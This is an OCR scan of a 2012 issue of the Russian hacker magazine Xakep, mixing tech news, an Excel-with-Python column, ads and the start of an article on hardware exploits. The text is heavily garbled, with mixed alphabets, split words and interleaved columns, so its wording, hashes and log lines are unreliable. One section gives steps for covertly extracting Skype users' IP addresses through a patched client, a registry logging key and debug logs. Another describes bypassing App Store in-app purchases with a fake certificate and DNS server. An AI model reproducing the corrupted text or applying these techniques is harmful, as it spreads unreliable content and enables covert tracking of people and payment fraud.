соппесtеd lt4e. Ка к не трудно догадаться, разработка призвана соединять человека с любой техникой lделается это при помощи смартфона), Соппесtеd Ме позволяет передавать информацию на скоростях в 6-10 Мбит/с, но и 20-40 М б ит/с реал ьная зада ча. Раз работка и м еет чрезвычайно низкое электропотребление, небольшую стоимOсть, нетребует специальных переходников, что дает возможность массового внедрения.,Щля использования Connected Ме нужны только смартфон и приемник, осьащенные специальчой uифровой схечой. которая пOзвOлит передавать данные при пON.40щи электрOмагнит-

-

н

ых

п

ол

е

зуются

ежду за зе мл

Е ВлабOратории

Егiсssоптехнология соппесtеd

}.1е

прошламножеств0 тестов, кOторые

показали,что8се оборудование

безопасно.чипы connected 1,1e пOступятна рынOк втечение ]2-18 месяцев, Еriсssоп предпOлагаетl чт0 они могутпOявить_

сянасмартфонах, персональных кOмпьютерах, телевизOрах и принтерах.

м

е н н ы

м

в новом проекте и старшему разработчику обеспеч е н ия безопас н ости АСУ ТП / SCADA. 06е вакансии начинаются сослов оlом, что в.лаборато��ии Ка с п е рского в теч е н и е вес ьм а дл ител ьн о го вре ме н и идет " разработка новой безопасной 0С. Изтекста объявлений си сте м

можFо]онять,чтоглавчойсферойrриченечия .новой

безопасной 0cu, скорее всего, станут промышленнь информационные системы lАСУТП

е

-автоматизирован-

с истем ы уп ра вл е н и я техн ол огич е с ки м и п ро цесса м и). скател ь дол же н не тол ько соответство вать обыч н ы м требованиям -ехнологических коvпаний, но и обладать опь том работы сдиспетчерским П0 lSCADAJ, промышленными протоколами и контроллерами, 0тстаршего разработчика, помимо опыта программирования АСУТП и SCADA, умения работать с перечнем протоколов lPгofibus, Modbus, 0РС, DNP, lпdustгiаl Еthегпеt) и контроллеров,требуется знание системь реального времени QNX и опьLт программи-

сигнал, прошедJи; -ерез человеческий помощью Connected Ме можно будет, например, расплатиться в магазине просто оттиском руки, без использования банковской карты, или обменяться визитками при рукопожатии. Какиеужтутметки NFС. ке, определяя

организм.

требований

С

ч

веческим телом электрода, Cxeva под(лючена к пластине, пересылающей сигналы в тело, Аналогичная схема работает в приемни-

-

,

В объявлениях о наймеЛК предлагает работуаналитику

н ы

ело передатчиком lTxJ и приемником (Rx)

й, что об ра

икаких официальнь х заявлений uЛаборатория Кас п ерс lo го,, г о л а ts е дел ал а, н о п а ра вё { а -с ий, недавно появившихся на HeadHunteT, может свидетельствовать о том, что в компании идет работа н ад собс-вен н о 7 .. бе зо r а с н о l о п е ра цио н н ой с исте м о й.

С

е

ои

рованиядля СУБfl.

I

рАзрАБOтчики свЕрхДЕШЕВОГО КО1.1ПЬЮТЕРА

RАSРВЕRRYРl ПРЕД(ТАВИЛИ

сOБствЕнную 0пЕрАци_ 0 н ную ( истЕl.!у RA5PBlAN -дистрибутив

Linux, создай-

ный на основе DеЬiап.

о12

l(ROsOFT l.{0жЕт гOр50% к01.1пьютЕрOв в 1,1ирЕ устАнOвлЕ_ HAwlNDOws 7. подсчитал stаtСочпtег. Рубеж в 50% 1,1

диться _ нА

к0l,|пании удалOсь преOд0леть в июне 201 2 года.

видЕOхOстинг YOuTUBE

стАл0 извЕ(тн0,

0БзАвЕлся инстру1,1ЕнT01.1 дл я АВт01,1Атич Е( к0го рАзl.,lытия лицлюдЕЙ

кую

НА ВИДЕOЗАПИ(ЯХ.

Теперь скрытьлица l.,lожно буквальн0 в два клика.

cyl,!},ry

в

кА_

оБоЙдЕтся

0БнOвлЕниЕ систЕ1.,tы д0 WlNDOWs8для пOль3OвАтЕлЕЙ Wlt{Dows хр, vlsTA ИЛИ 7,

-цена

апгрейда

приду},lАть нOвOЕ

и l,,lя

ди(триБутиву 1,1ANDRlvA РЕlлили BcElt{ lt{иР01,1 при

-

поttоtци опроса. В итоге боль-

отдано за наэвание мапdаlа Linux. ше всего rолосов было

составит 39,99 доллара.

х^кЕр 09/]64l20I2


скOр0 игрOвАя Пл^тоOрнАSтЕАil (тАнЕтдоступНАИДЛЯ

LlilUx. КомпанияVаlчеух(е работаетнад

УП РдВЛ ЕН И Е ПдРOЛ Яl\/1И

FАс Ев00

чЕрЕз вLUЕтOOтн-ключ

АНАЛИЗИРУЕТ П ЕРЕП ИСКУ

интЕрЕснАя идЕя 0т к0}lпАнии FORD

Е Наданный

uоtентFоrd

KeyFreeLogin доступентолько воФранции,но это обещаютrсправитьвскOрOм

будущех.

нать кучу па ролей от разл

и ч н ых са йтов, се р ви сов и такдалее все-таки тяжело. Использовать везде одинаковые и прOстые пароли-тоже не особеннохорошо, равно как и хранить их в каком-нибудь менеджере [все это оlцутимо снижает безопасность]. Остает-

ся л

м и

бо за вести Сек ретную Бумажку, л и бо и скать ка ки е-то ал ьте рн ати в ы. Не совсем обычное решение проблемы предлагает компания Fогd, рази

работавшая технологию Fогd КеуFгее Login. Пока рещение реализовано в виде приложения для iPhone, и для управления паролями и аутентификацией используется протокол Bluetooth. Суть проста: кактолько смартфон оказывается в радиусе действия беспроводного модуля компьютера, система автOматически производитаутентификацию на всех сервисах, которые установлены в настройках. Кроме приложения для iphone, нужно также установить расширение для Google Сhгоmе. С его помощью система осуществляет быстрый вход на определенные сайты, и пOльзователю не требуется ничего вводить вручную, Смартфон выступает в роли уникального беспроводного аутентиф и катора. Ко гда устро й ство покидает зо ну де й ств ия BI uetooth, система автоматически делает logout из всех ве6-служ6, где была произведена авторизация. Прототипом Fогd КеуFгее Login выступила бесконтактн ая с и стема уп ра вл ен ия си гн ал иза ци е й а вто моб ил я, та кже в ы пол н е н на я в виде мобильного приложения. Успех от внедрения технологии КеуFгее для автомобилей подтолкнул инженеров Fогd реализовать нечто подобное для

повседневнойжизни.

НАЧАЛА СВOЮДЕЯТЕЛЬНОСТЬЛИГАЗАlЦИТЫ

ИНТЕРНЕТА

кOАлиция тысяч Акти_ ИСТОВ,

РЕДСТАВИТЕЛ ЕЙ ко},lпАниЙ и тЕхничЕски В

П

продвинутых пOлити-

КOВ ЗАРАБОТАЛА ПО АДРЕСУ l

ШТЕRN

iлк!"

о, llьцt

zo,

ETDEFENSELEAGUE.ORG

НАШУ

зА пOльзовАтЕляllи lлпионят БуквАльн0 всЕ КоНЕЧНо, кВ0 ПlUlядоБРА})

-

одэгидой борьбы с педофилами итеррористами в Сети творятся чудн ы е вещи. Неда в но ди ре ктор п о безоп асн о сти Facebook !жо Салл и ва н спOкOйн0 пOведал в интервью агентству <Рейтер>, что социальная сеть использует в Штатах автоматические алгOритмы сканирования чатов и другой личной информации пользователей. Конечно же, с целью поиска и раннего выявления преступлений. И ведь даже нельзя сказать, что переписку пользователей читают исключительно роботы,,Д,ело в том, что алгоритм только сканирует переписку и публикации пользователей FасеЬооk, но если он обнаруживает подозрительную активность, то помечает профиль и сообщает о нем специальному сотруднику FасеЬооk. Именно сотрудник оценивает степень опасности и в случае необходимости сообщает 0 пOтенциальном преступнике в полицию. Это довольн

огл асис ь, за по

к

клиентски1,1 llодуле}i.

о

н

еOж ида

н

ная

н 0

вOсть

-

ра

н

ьше сч итал ось, что са м

FасеЬооk не занимается мониторингом чатов в пользу п 0л и ци и, а тOл ьк0 мOжет в ыдать расп ечатки ч ат- се сс и й по полицейскому или судебному запросу. 0казывается, 0н осуществляет и превентивные меры. ,Щжо Салливан подчеркивает:

<Чтобы не сталкиваться

с ситуацией,

которой нашим сотрудникам приходится читатьчужую переписку, мы испOльзуем системус очень низким процентом,,ложных срабатываний">. Известно, что используемая для мониторинга действий юзеров система сфокусирована на диалогах между пользователями с <беднымиD связями. Подозрительными, по мнению FасеЬооk, являются случаи, когда два пользователя общаются, не являясь взаимными друзьями или став друзьями недавно. Совсем страшно, если у них при этом нет обtцих друзей, а прочиедрузья взаимодействуют с пользователями и друг с другом крайне редко. Также криминалом считается, если два пользователя имеют большую разницу в возрасте. Словом, если ты не особенно активный пользователь Facebook с сотнями друзей и тебе за 30, поздравляем -ты явно потенциальный педофил и террорист. Справедливости ради заметим, что система все-таки ра ботает и даже п ри н осит плоды. Та к, < Ре йтер > расска зывает 0 случае, когда удалось арестовать ЗO-летнего мужчину пOслетого, как он в чате поговорил с 1З-летней школьницей и назначил ей встречу. В переписке между ними регулярно фигурировало слово <секс>. Полиция сумела предOтвратить и их (встречу>, и возможное преступление благодаря оперативной информации от tасеЬоо k. И это тол ь ко оди н из м н ожества случа е в, когда представители полиции США подтверждают получение заблаговременных (наводок> от FасеЬооk, то естьтам дей ств ител ьно ра ботает гл обал ьн а я систе м а мон иторинга. Конечно,6орьбой с педофилами занимается не тол ько Facebook, н о и разработч и ки други х со ци ал ьн ых сервисOв, в том числе 0риентирOванных на сетевые знакомства [например, мобильное приложение Skout]. В будуцем подобные системы модерации планируют уста нов ить и други е са йты, у которых з нач ител ьную ч асть аудитOр и и соста вл я ют подрOстки. в


}'l

EGA

N

EWS

ЗА ПОЛГОДА В TWlTTER ПО(ТУПИЛ0 33?S ОБРАlЦЕНИй по поводу нарушения авторских прав. сервисудалил 5275 твитов

сOрЕвнOвАн и Е рOБOтOв-трЕЙдЕров

сЕрьЕз

ГРЯДЕТ НЕОБЫЧНЫЙ КОНКУРС

ПРИЯТНАЯ СТАТИСТИКА

и

5r9 медиафайлов.

уяз в и мOстЕЙ стАнOвится всЕ м Ен bll] Е н blX

WHlTEHAT SECURlTY

ОТ

Региfrрация на Automatea Тrаа]пg championship 2012

**

1 "*,2 ,9,й ж.Ф*

1з58

гт/ \*/ -J

(J

азличные прOграммистские сOстязания уже не нOвOсть, такого рода мероприятий несколькодесятков. 0днако есть среди них и весьма экзотичные. Первого октября текущего года состоится шестой ежегодный конкурс Automated Тгаdiпg Championship- это соревнование роботов-трейдеров. Ход конкурса прост: в режиме реального времени ботам предстоитзаключать торговые сделки. Соревнование создано с целью популяризации а втоматического трейдин га и языка п рограlv мирован ия N4etaQuotes Language 5 (MQL5), основанного на концепции С++. Прикладной язык MQL5 предназначен для автоматизации торговых стратегий, Программы на нем компилируются в исполняемые файлы, которые можно запускать в клиентском терминале N4еtаТrаdег 5. Участника[,4 предлагается разработать программы, торгующие на рынке по определенной стратегии. В течение трех месяцев роботы будут совершатьторговые сделки, и чем больше они на них заработают, тем выше окажутся в итоговой таблице, Ни участники, ни жюри не смогут вмешиваться в торговый процесс. На сайте чемпионата Ichampionship.mql5.com] будут публиковаться новости, интервью с авторами лучших роботов и отчеты. В профиле каждого участника можно будет в режиме реального времени увидеть пOдробную статистику работы его программь].

Е 80

тысяч

долларов-

суммарный призоsой фондАчtоmаtеd Тrаdiпg championship. Победитель получит 40 тысяч, за второе место дадут 25тысяч, а бронзовый призер получит 1 5 тысяч долларов.

ак правило, 0тчеты компаний, занимающихся информаци-

онной безопасностью, выглядятудручающе: тысячи вирусов охотятся на беззаI/тнDlх гользователе7. в соф-е сплошь рядом обнаруживаются уязвимости, и вообще-,(все плохо). Редко когда вь ходит исследование с противоположными вь водами. Такое исследование недавно опубликовала компания Wh teHat и

Secu гitу,

о

бес

п

еч

и

ва

ю

ща я безо па

сность

веб - п р

ил ожен

и

й.

П

о

е

е

даннь м, количество серьезнь]х уязвимостей ощутимо сократилось за последнее время. Сотрудники компании собираютстатистику еже годн о,

с

ка

н и

руя соде рж

и м

ое

н

ес кол ьк

и х т ы ся

ч са йто в в теч ен

и

е

всего года. Так, в 201 1 году по результатам сканирования более 7000 сайтов [сотни терабайт контента] им удалось обнаружить в среднем 79 серьезныхуязвимостей на каждом сайте.,Щля сравнения: в 201 0 годутаковых было 2З0, в 2009 году-480, в 2008 году- 795, в 2007 году- 1 1 1 1. Радует и тотфакт, что серьезнь е уязвимости стали быстрее устранять: в 201 1 годусреднее время закрытия уязвимости составило 38дней, тогда как в 20] 0 году это занимало 1 ] 0 дней.

Процентзакрь ваемь хуязвимостей в прошлом годутоже вырос с 5З до бЗ. Если рассматривать уязвимости по типам, то на первом месте по популярности остается межсайтовый скриптинг (XSS], который встречается на 55% сайтов. !алее утечки информации [5З% сайтов], контент-спуфинг (З6%], недостаточная авторизация l21%] и межсайтовая подмена запроса lCSRF, 19%). Только на восьмом месте в списке оказались SQL-инъекции: их обнаружили всего на ] ]% сайтов.

зАпрЕт нАдO(туп ктнЕ PlRATE BAY, БлOкирOвкА lр-АдрЕсOв нАурOвнЕ пр0_ ВАЙДЕРОВ ВЕЛИКОБРИТАНИИ НИДЕРЛАНДОВ И ДРУГИХ СТРА; в

ш

.

рЕАльнO(ти 0кАзАлись

БЕСПOЛЕЗНЫ. После 1 февраля Р2Р-трафикнетолько,остался примерн0 на T01.1 же урOвне, чт0 и раньше, н0 в какие-т0 дни даже превысил кдоблокадныеr, показатели, сообщил специалистгOлландскOг0 пр0вайдера x54All.

wl Kl

]t1

EDlA FOU

N

DАтlON

плАнируЕтс03дАть гид

-

п0 пУтЕ ш Е(тВи я 1.{ бесплатный сервис, редактированиеlt которого мог бы заниttаться каlкдый, как в случае с Wikipedia.

ANONYMOU5 зАпустили САЙТДЛЯ ПУБЛИКАЦИИ РА3ЛИЧ tlЫХ ДАlt{ ПOВ: ра[:а поiа,net. Если сайт не

закроют власти, на разбор все равно уйдут годы.

хАкЕр

09

/]64l 20l2


ИЗ GOOGLE РLАYТЕПЕРЬ

ilOXH0 УДАЛЕННOУПРАВЛЯТЬ ПРИЛOХЕНИЯlс{J{ налюбыхсвоихустройствах-удалять

ВАЖНА КАЖДАЯ СЕКУНДА пЕрЕвод нировыхАт0llных чАсOв нА 0дну сЕкунду пРивЕл к llАссOв01.1УзАвисАнию сЕРвЕРных пРиложЕниЙ полночьс30июня

июляэталонныемировыеатомные часы были приостановлены на одну секундудля синхрони-

их или

обновлять.

нOвАя гOлOвнАя БOл ь APPLE РОССИЙСКИЙ ХАКЕР (ВСКРЫЛ), АРР STORE

на 1

зации с астрономическим временем 3емли. В связи с чем последней минуте оказалась 6'1 секунда и некоторые часы стали показывать время <23:59:60> или два раза по <2З:59:59>. Из-за неспособности некоторых приложений обработать появление лишней секунды многие сайты испытывали проблемы [втом числе Reddit, LinkedIn и Mozilla], наблюдалось массовое зависание серверных приложений lB основном Hadoop и Саssапdга], СУБД MySQL съедала все процессорные ресурсы, отключалисьVРN-туннели на базе 0penVPN, зависали Liпuх-серверы [судя по баг-репортам, с не обновленным ванильным ядром, собранным вручнуюl. В большинстве случаев администраторы были вынуждены перезапустить зависшие серверы. Тем не менеедля стабилизации приложений, начавших потреблять излишние ресурсы CPU, достаточно было вручную выставить корректное время командой в

d at

е'

ate

" % m 0h dОkНОkМO/оСО/оу,ОkS

сте м до полнительно могло потребоваться остановить демон ntpd на время

<

d

+

"' >.

я

н е

кото

р ы

х

с и

выполнения данной команды и перезапустить пожирающие CPU прилOжения. Чтобы устранить негативный эффект, компания Google предложила разбитьлишнюю секунду на большой интервал корректировки, с прибавлением каждый раз по миллисекунде, что приведет к плавному <размазыванию> секунды по большому отрезку времени. Похожее готовое практическое решение [скриптf ixtime. рl для плавного прибавления секундыl месяц назад опубликовал один из разработчиков 0реrа в своем блоге: goo,gl/vB45m.

l

к 201

5

гOдуАвто Европы 0снАстят систЕ1,1ой EсALL

всЕ HOBblE },lАшиньl в ЕврOпЕ скOр0 УКOМПЛЕКТУЮТ систЕ1.{0Й

СЛУЖБ

п0

вызовА

СПАСЕНИЯ,

сути-дАтчикАi{и

ПЕРЕДВИЖЕНИЯ хлкЕр

09 /1b1.1

?л12

лексей Бородин 21 -летн и й ресерчер из Росси и умудрился устроить настоящий переполох в стане корпорации Apple. Чтобы поставить <яблочников> на уши, оказалосьдостаточно осуществить реверс-инжиниринг протокола магазина Арр Stоге и опубликовать в Сети инструкцию lсhtо.su/2012l07/аррstоге. html), как подделать чеки lп-Аррдля покупок внутри приложений. Гово ря п роще, Бороди н поведал м и ри ка к < покупать бесплатно> контентвнутри любого приложения, например новые уровни, бонусы, и гров ые п редм еты и так дал ее. Не подумай, что ха ке р сделал это случа й но ил и не заботился о последств иях Бороди н сра вн и вает lп-Арр-покупки с читерством и с <<продажей воздуха>, ведь в реальности ден ьги бе рут за разблоки ро вку контента, котор ы й уже и без того присутствует на устройстве. Способ хакер разработал универсальный, он действует практически в любом прилохении, Потребуется лишь осуществитьатаку типа MlTM на свой собственный смартфон, установив на негодва фальшивых СА-сертификата и прописав фальшивый DNS, который я кобы кеш и рует ответы от се рве ра Apple, п одтве рждая сдела н ную покупку. В подтверждение покупки фальшивый DNS-cepBep выдает устройству фал ьш и вую квита н ци ю стандартно го образца. Буквально через неделю после публикации инструкции Алексей Бородин стал настоящей звездой: его показали потелеканалу<Россия >, у него взял и и нтер в ью для н ескол ьких са йто в, и даже газета < Ведомости > опубл и ковала п ро н его статью в за крытом раздел е, за щищенном lп-Арр-покупкой [вотдаже злобно шутить не хочется на этутемуl. Корпорация Аррlе, в свою очередь, безуспешно пытается удалить с различных хостингов вышеупомянутые сертификаты и за-

-

блоки ровать DN S- сервер ы. Пока все тщетно. Сп особ по- п режне му работает [по состоянию на 2'] июля]. По некоторым данным, таким методом уже сделано более 8,46 миллиона бесплатных покупок. Аррlеуже начала пробоватьдругиетехнические способы

защиты. Недавно компания принялась внедрятьуникальные идентификаторы в каждую квитанцию на подтверждение покупки. Разработчики сообщают, что в квитанции появилось новое поле (ч niqu е_idепtifег>. М ожно п редпол ожить, что о но должно содержать уникальный номерустройства Unique Device ldentifier IUDlD], совершающег0 пOкупку. Если так, то подобное действие идет в разрез с последней политикой Аррlе, согласно которой приложениям запрещалось собирать UDlD сустройств, Так что вполне возможно, что <уникальный иде нти фи катор> будет соответствовать н е устро йству, а отдел ьной покупке. Если по этому идентификатору покупка будет проводиться на сервере Арр lе и с веряться с н и м во время тра нза кци и, то та ки м

образом можно попробовать бороться с хаком, который предложил Алексей Бородин. В конце июля специалисты Apple закрыли уязви м ость, и Бороди н подтвердил в свое м бл оге, что тепер ь обход системы по существующей технологии невозможен.


HEADER

КОЛОНКАСТЕПЫ

ИЛЬИНА

пр0 т0, кАкя EXCEL с питOнOм

пOдружил

БРЕДOВАЯ ИДЕЯ

Есть миллионы людей, которые бесхитростно работают в Ехсеl с самыми обычными электронными таблицами. Есть очень редкие гики, кOтOрые испOльзуют максимум вOзможностей встроенного VВА-языка, чтобь, к примеру, обойти ограничение на запуск менеджера задач, реализовав свой собственный. Я отношусь к первому типу;). Я сильно не люблю составлять отчеты. Придумать более унылOе занятие невозмOжн0: взять данные оттуда, вставить в таблицу, взять данные из другого места и опять вставить в таблицу. После третьег0 такOг0 0тчета я решил эт0 дел0 автоматизировать. Задача казалась вполне земной, если бы не одно но иметь дело со встроенным VBA совершенно не хотелось. К тому же нужно было обрабатывать сложные форматы файлов, а писать с нуля парсер нисколько не привлекало. С документом надо было работать постоянно, поэтому вариант написать внешний скрипт на Руthоп, который на основе хls-шаблона создавал бы отчет, вставляя нужные данные. не годился (хотя изначально я хотел делать именно так]. uBoT если бы в Excel был встроен python

-

для скриптинга, то все было бы в десять раз проще>, - подумал я и набрал в Google: <excel with руthоп>. 0казалось, что подобной ерундой был озадачен не только я :].

EXCEL

+

PYTHON

0дин из первых найденных проектов PyXLL {www,pvx] ,com] позволял быстро писать на питоне функции, которые далее можно было испOльзOвать наравне с0 стандартными функциями Ехсеl'я lвроде СУММА{}). Я даже попробовал его в действии. Выглядит это так: ты пишёшь Руthоп-скрипт в соответствии с некоторыми правилами, реализуя необходимые действия с получаемыми данными, после чего через специальный аддон для Ехсеl'я импортируешь написанные функции. Не так плохо, но хотелось прямо в коде Python обращаться к

-

оrб

нужным ячейкам электронной таблицы. И это позволял другой найденный аддон DataNitгo ldatan tго ccml. После его установки в Ехсеl'е пOявляется нOвая вкладка, 0ткуда вызывается редактор. Интеграция выполнена очень удобно, пOэтOму мOжн0, не сильн0 замOрачиваясь, написать чтO-т0 врOде:

cell((A1)).va],ue = (Hello, Wоrld!л ,Щалее заrускаем сцечарий с помощью кнопки на панели тулбара и получаем нужное значение в ячейке А1 ! Недолго думая, я стал наращивать функционал, который мне был нужен. Пробую импортировать библиотеки для работы с нужными форматами и прочитать данные все работает. Запрашиваю через APl информацию из нескольких онлайнвсе 0тличн0 агрегируется. сервисOв Пишу простенькую приблуду для рассылки отчетов все отлично отправляется. В итоге за тридцать минут удается сделать скрипт, который будет экономить два часа те, что преврацались для меня в пытку :). Сперва я даже начал выполнять в Python все расчеты, лишь позже вспOмнив, чт0 с этим справится сам Excel, Впрочем, если нужно посчитать чтO-т0 серьезнOе, т0 ничего не стOит пOдгру-

-

-

-

lg -

;

Ноmе

-]п

Ediior D,thon sh.ll

'

lп5еЁ

Page

[ayout

ВЫЖАТЬ МАКСИМУМ

Скриптинг на Python - всегда гарантия хорошей расширяемости приложения. Взять хотя бы редактор Sublime Text: плагины для него есть уже на любой случай жизни. Впрочем, мOжн0 не хOдить далеко за примерOм. 0дин из создателей DаtаNitго в качестве иллюстрации возможностей своей разработки написал на Ехсеl'е Тwittег-клиент lподробнее можно прочитать здесь: Ь t.ll Res2mZ). Причем минимальными усилиями благодаря питоновской обертке для Тwittег (github,com/tweeov/tweeovl. АРl - tweepy Конечно, это всего лишь Ргооf-оf-Сопсерt, н0 зат0 хOрOшая иллюстрация тог0, чт0 интеграция с python с его огромным кOличеством готовых модулей на любой случай жизни может быть очень полезной. Кстати, сделать такую фишку не так уж и сложно, о чем пишется в официальной документации Руthоп. А освоить основы языка можно за полчаса. К слову, интерактивная школа по программированию codeacademy как раз выпустила неплохой курс lhttp://www, codecademv соm/tгасks/пчthопl. Е

ga

Formula5 Data

J"ж:;#":ýо

R26

зить математический модуль NumPy и делать любые научные вычисления.

RUn stop

Do(5

Raviev/

Vi.$,

l

citзl]ltl

]

l-ive

Help

t,

ABсDEFGHlJ

Вкладка аддона, ( поffоlцью которой реализуется интеграция DataNitro

и

Excel

хлкЕр

09 1161,1 2а12


Анатолхй Ализар lalizarBgmail,com]

ч,, Ргооf-оf-Сопсерt l..j

с},lOтРи]ti lР-АдРЕсА

поль3OвАтЕлЕи SKYPE

ПРЕДЫСТOРИЯ Небольшая предыстория вопроса: слухи о раскрытии lР-адресов пользователей Skype появились летом 201 1 года, когда хакер Ефим Бушманов из Сыктывкара осуществил обратный инжиниринг старого протокола Skype lверсий 1.х/3.х/4.х|, запустил блог skvpe-o0en, source.blogspot,com и выложил бинарник деобфусцированного клиента. больше. 25 марта 2012 rода ,Д,альше вышла деобфусцированная версия клиента 5.5, которая могла полноценно работать в действующей сети Skype, и началась настоящая веселуха. Благодаря расшифровке протOкOла стал0 пOнятн0, где смOтреть lР-адрес при установке прямого соединения с пOльзOвателем, например, в0 время звOнка, В апреле и вовсе появился взломанный SkypeKit серверная версия Skype, которая показывала lР-адреса любых пользователей, Чуть позже выяснилось, что даже в клиентской деобфусцированной версии 5.5, а именно в 0тладOчных лOгах прOграммы, мOжн0 п0смотреть lР-адрес любого пользователя, если запросить его чСаrd (информация о контакте]. При этом даже необязательно добавлять его в контакты, то есть lР-адрес отображается незаметн0 для жертвы.

-

-

-

зАчЕм этO,нужн0 Зачем узнавать lР-адрес пользователя? Вопервых, из чистого любопытства. Интересно, в какOм гOрOде и стране живет челOвек,

каким провайдером пользуется. Во-вторых, эт0 нужн0 для прOверки личнOсти челOвека, который вышел с вами на контакт: тот ли он, за кого себя выдает. Наконец, эта процедура позволяет проверить самого себя, то есть не запущен ли где-т0 на стOрOннем кOмпьютере инстанс Skype с таким же именем пользователя. В отладочных логах будут указаны все lР-адреса, по которым работает клиент. Если кто не понял: протокол Skype устроен таким образом, что вы можете запустить инстансы клиента на нескOльких кOмпьютерах и все текстовые сообщения будут пOступать 0днOвременн0 в0 все инстансы. Хотя и говорят, что Мiсгоsоft переделывает архитектуру Skype для массовой прослушки пользователей, но пока это лишь домыслы. На сегодняшний день самый реальный способ прослушивать пользователя узнать его пароль и запустить у себя дополнительный инстанс клиента под его учетной записью.

-

кАк испOльзOвАть

lР-адреса пользователей указаны

лать две вещи:

В реестре

Windows добавляем ключ [Н KEY_CU RRENT_USER\Sof Pho пе\U l\Ge

п

в

разделе twaгe\Skype\

ега l]:

Skype55_patched. ехе MD5 7з8ldееdзе99з7 ef22oбf бьесtо2зс47 sHA- 1 18зlе66зlЬ95е9зl7зd899а2567 69со2с с зlеЬ06 Ео2К ё24зс24с67fаf7ззf

MD5 12ззdз2е9сЬ54684сf SHA-

а7сеO9зOззеза1 5с 857 dd4of а5Ь7

f2dcdb

ED2K 16с9617аOеlсO2збессаз9d

Лог Skype (фрагмент): оо|26iз4.4об т*з604 Rочtег

dэ5f7

f

4ао

:

-ц"S 0хе9ь657з4с94911d5s2lз.

165. 179 . 765 i 4оооб :

25801_1192. 168,о, 80 i 258ot

gО|26|З4.4gб Т#3604 РгеsепсеМапаgеr: в

папке

кли-

Когда все готово, нужно сделать так, чтобы запись 0 нужнOм кOнтакте попала в 0тладOчный лоr flля этого достаточно выбрать в меню и указать функцию <flобавить контакт>

-

39828ddf c4a5Of 8

1 69d5Oa22019842be494f

22ot_o

eHTSkype 5.5 или 5.9 [thерiгаtеЬач.sе/ tоггепt/72З8404l, в котором отладочные логи записываются в расшифрованном в иде.

09/164120]2

случаях использует передачу трафика по локальной сети. Интересно, что информация об lР-адресе дOступна, даже если пOльзOватель нахOдится в офлайне. Как показывает опыт, lР-адрес пользователя хранится несколько дней. Если он ушел в офлайн на более длительное время, lР-адрес исчезает из сети.

г86. 57,L49.L47

После этого lоg-файлы типа debugYeaгMonthDate-time.log создаются Skype.

2. 3апуститьдеобфусцированный

я_

В расшифрованных логах отображаются реальный lР-адрес [с ключом -г] и локальный lР-адрес сетевой карты (-|J юзера. Внутренний адрес нужен Skype, потому что он в некоторых

s-

"Logging" ="SkypeDebug2Oa3"

хАкЕр

пол ьзо вател

skype59_patched. ехе в отладоч-

ных логах (dечеlорег.skуое.соm/SkчреGага9е/ Lоgflэl, но в обычной версии клиента Skype эти логи зашифрованы. Поэтому нужно сде-

1. Включитьзаписьлогов.

нужный ник. Затем можно закрыть клиент и идти изучать текстовый лог {см. листинг]. Нухно найти поле РгеsепсеМапаgег с ником

_6Ге оIесhkаO2з21 охе9Ь657з4с94911d5s - s2lз . 165 . 179 . 165 :40а06 г86, 57 .L49.74? _8ооооооз

оо | 26 iз4. 4об

:

25801- 1192. 168.о. 80 : 25801

т*збо4 РгеsепсеI,lапаgеr

_aii оlесhkаO2з21 lni.tiaI ping_

:

е9ь657з4 c9491Ld5 о

Как видишь, мы без особых усилий вытянули lР-адрес собеседника из деобфусцированных логов. Но будь осторожен с этой техникой Skype банит аккаунты, которые очень часто запрашиваютчСаrd.

-

Е

1,


ипотЕкА

дlпмtrнtrл ит

"Монолит

плюсD

активно

работает с ведушими банками по программам ипотечного кредитования. Особое внимание уделяется правовой защищенности клиентов, приобретателей )t(илья и нежилых помещений.

кМОНОЛИТ ПЛЮGll ПРЕflЛАГАЕТ ПРОСТОРНЬlЕ

квАртирьl соврЕмЕнноЙ плднировки в 5-ти

СЕКЦИОННОМ

ll

Дll

ДОМЕ ПЕРЕМЕННОЙ

ЭТАЖНОСТИ.

ДОПОЛНИТЕЛЬНУЮ ИНФОРМАЦИЮ О ПРОМЖЕ КВАРТИР В

кНА ВЫGОТЕ>

можно получить в оФисЕ промж компАнии (монолит'(КплюсD


3Ао кltlоНолит плюс,, _ ИНВЕСТИЦИОННО-СТРОИТЕЛЬНМ

компания осуществляет полный спектр услуг в процессе реализации строительных проектов. Год за годом

КОМПАНИЯ, ВХОДИТ В СОСТАВ

компания

рАБотАюlцЕЙ в московскоЙ оБлАсти с i989 гом.

инвестирования, выполняет фун кции технического заказчика и функции технического надзора заказчика за строительством объекгов.

ГРУППЫ КОМПАНИЙ кМОНОЛИТл,

Дll

Ь"""ýТ;Н"".",lа:t]

г' коРолЕв'

"монолит

плюс> совершенствует

технологии

(495) 516_40_04


cOvERSToRY

sапjаг 5аt5чга lSаt5чгаагOOtWOгm.соm, tWittеrсоm/Sапjаг_5аt5Uга]

лезньlи ч,

дуршла|

нOвьlи витOк

рАзвитuя

эксплOитOв

Представь, к чему может привести обнаружение уязвимости в микропроцессоре. После эксплуатации такой ошибки уже не нужно обходить какие-либо средства защиты 0С. Что немаловажно, портирование такого эксплойта для разных 0С не будет представлять какой-либо сложности. Это связано с реализацией слой аппаратных абстракцийl, HAL (Нагdwаrе Abstгaction Lауег а также с тем, что низкоуровневые компоненты ядра для работы с оборудованием на многих 0С практически одинаковы. Помимо этого, основным преимуществом эксплойтов, заточенных на хардварные уязвимости, является возможность трансформации вектора эксплуатации с удаленного на локальный [геmоtе2lосаl] и наоборот llоса12геmоtеl. Как ты уже понял, трансформация вектора эксплуатации с локального на удаленный представляет для нас наибольший интерес :l. Правда, иногда при трансформации мини-фильтры ядра обрезают/искажают обрабатываемые данные (правила мини-фильтров обычно появляются после очередных патчей, например по вторникам), но и это не помеха. O6ход состоит из применения морфа/виртуализации кода или специально заготOвленных гаджетOв. Чтобы ты понимал, насколько ситуация критическая, рассмотрим наглядный пример, разложенный на несколько основных

-

Сегодня мало кого удивишь эксплойтами для разных 0перациOнных систем и программнOг0 обеспечения. Исследователи научились обходить различного рода защиты, такие как DEB ASLR, NX bit, так называемую песочницу, эмуляторы кода и прочие системы виртуализации. Время меняет многое:,еще вчера уязвимости в аппаратном обеспечении были объектом фантазий исследователей ИБ, сегодня это реальность. Я расскажу тебе о (железных) эксплоЙтах и малвари. 020

этапOв.

1. Злоумышленник посылает подготовленный

2.

на

ТСР- или UDР-пакет

любой открытый порт целевой машины.

Пакетпроходитчерезсетевуюкарту,

вызываяисключение,

которое план и ро вlци к ядра став ит в очередь. Та к ка к п риор итет нашего исключения высок, при вытесняющей многозадачности планировщика 0С пакет будет обработан ядром исключительно быстро, пройдя сквозь полымя мини-фильтров и встроенного монитора безопасности ядра.

хлкер

